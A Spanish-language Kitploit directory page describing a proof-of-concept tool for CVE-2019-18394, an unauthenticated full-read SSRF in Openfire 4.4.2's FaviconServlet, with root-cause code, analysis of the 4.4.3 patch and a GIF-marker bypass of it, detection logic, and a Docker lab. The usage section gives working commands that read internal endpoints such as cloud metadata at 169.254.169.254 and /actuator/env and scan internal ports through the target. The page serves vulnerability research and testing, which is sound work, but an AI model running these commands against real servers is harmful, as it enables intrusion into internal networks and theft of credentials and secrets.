Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
openfire-ssrf-cve-2019-18394 — PoC para CVE-2019-18394: SSRF de lectura completa no autenticado en Openfire <= 4.4.2 FaviconServlet | Kitploit
Herramientas/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
ReconocimientoEscáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHub

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
l0lsec/openfire-ssrf-cve-2019-18394

openfire-ssrf-cve-2019-18394

PoC para CVE-2019-18394: SSRF de lectura completa no autenticado en Openfire <= 4.4.2 FaviconServlet

Ver Repositorio
20hace 21 díasAún no revisado
Compartir

CVE-2019-18394: SSRF en Openfire FaviconServlet

Server-Side Request Forgery no autenticado en Ignite Realtime Openfire 4.4.2 y anteriores (consola de administración, TCP 9090/9091 por defecto). Corregido en 4.4.3 (issue OF-1885).

  • Falsificación de peticiones: el parámetro host se concatena en una URL de salida sin validación, por lo que el servidor emite un HTTP GET elegido por el atacante.
  • Divulgación de la respuesta: ante un HTTP 200, el cuerpo bruto del upstream se devuelve al solicitante. Es un SSRF de lectura completa, no ciego.
  • Sin autenticación: /getFavicon no está detrás del AuthCheckFilter de la consola de administración y responde incluso mientras el servidor sigue en su estado de configuración inicial no configurado.

Solo pruebas autorizadas. Todo lo aquí descrito apunta a un laboratorio local que tú mismo levantas.

Causa raíz

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):

public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

Sin autenticación. En xmppserver/src/main/webapp/WEB-INF/web.xml el filtro AuthCheck está mapeado solo a *.jsp, PluginServlet y dwr-invoker. FaviconServlet está mapeado a la ruta simple /getFavicon, por lo que no se ejecuta ningún filtro de autenticación para él.

Ruta arbitraria, no solo host arbitrario. El código fija el sufijo /favicon.ico. Terminar host con una cadena de consulta empuja ese sufijo a un valor de parámetro:

host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

El esquema está fijado a http://. Los objetivos https:// no son alcanzables directamente, pero el cliente del servlet usa LaxRedirectStrategy, así que un endpoint http que redirija con 302 hacia adelante sí lo es.

La corrección de 4.4.3 y sus límites

final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage() es ImageIO.read(bytes) != null, una comprobación de contenido, no de destino. Dos cosas sobreviven al parche:

  • La petición de salida falsificada se sigue enviando, por lo que el SSRF ciego (escaneo de puertos, interacción con servicios internos, pivotes por redirección) sigue funcionando en 4.4.3.
  • Cualquier respuesta que se analice como una imagen se sigue devolviendo completa, y pueden seguir bytes arbitrarios a los datos de la imagen, por lo que la divulgación de lectura completa con forma de imagen sigue funcionando en 4.4.3.

Oráculo de detección

  • Todos los resultados son HTTP 200, por lo que el éxito y el fallo difieren solo en el cuerpo. La herramienta captura una firma de fallo forzando dos peticiones garantizadas de fallo (NXDOMAIN) y comparándolas. El archivo en disco /images/server_16x16.gif no se usa como línea base: un servidor que no logró cargarlo en la inicialización devuelve un cuerpo de fallo vacío en su lugar, y comparar los dos da resultados erróneos.
  • La presencia se confirma estructuralmente: un fallo responde 200 mientras que una ruta hermana no mapeada responde 404, lo que separa un mapeo real de FaviconServlet de un catch-all.
  • FaviconServlet cachea aciertos y fallos con clave en el host bruto y corta el circuito tras dos fallos. La herramienta añade un cb= único como cache-buster a cada sonda para que las ejecuciones repetidas no reciban resultados obsoletos.

Uso

Biblioteca estándar de Python 3, sin dependencias.

check   confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read    fetch an arbitrary http:// URL through the target (full-read SSRF)
scan    probe internal TCP ports from the target's network position
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

Flags: --callback-host (dirección a la que el objetivo llama de vuelta), --listen-bind / --listen-port (listener local), --marker-format gif (devuelve contenido analizable como imagen que pasa la puerta isImage() de 4.4.3), --proxy, --json.

Códigos de salida: 0 ok, 1 hallazgo, 2 error o no vulnerable, 3 no concluyente.

Laboratorio y resultados validados

Configuración Docker diferencial: 4.4.2 vulnerable (consola en :9090), 4.4.3 parcheado (en :9092), y un servicio solo interno que el host no puede alcanzar directamente.

docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

El nginx interno no tiene mapeo de puerto en el host, por lo que una petición directa desde el host devuelve HTTP 000, pero Openfire puede alcanzarlo. Leer su SECRET_FLAG demuestra que la petición cruzó la frontera de confianza. En Docker Desktop el objetivo alcanza tu listener vía host.docker.internal (pásalo a --callback-host). En Docker nativo de Linux, usa la IP de puerta de enlace docker0 u omite --callback-host para autodetectarla.

# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

Cada callback llegó con User-Agent: Apache-HttpClient/... (Java/...), lo que confirma que la petición vino del propio cliente HTTP de Openfire, no de la herramienta.

ObjetivoMarcadorCallbackCuerpo divulgadoVeredictoSalida
4.4.2 (vuln)textyesyes, verbatimVULNERABLE (unpatched)1
4.4.3 (patched)textyesno, withheld by isImage()PARTIALLY_MITIGATED (blind SSRF)1
4.4.3 (patched)gifyesyes, image + trailing textVULNERABLE full-read (see note)1
non-Openfire (nginx)n/an/an/aendpoint absent2
Descargar herramienta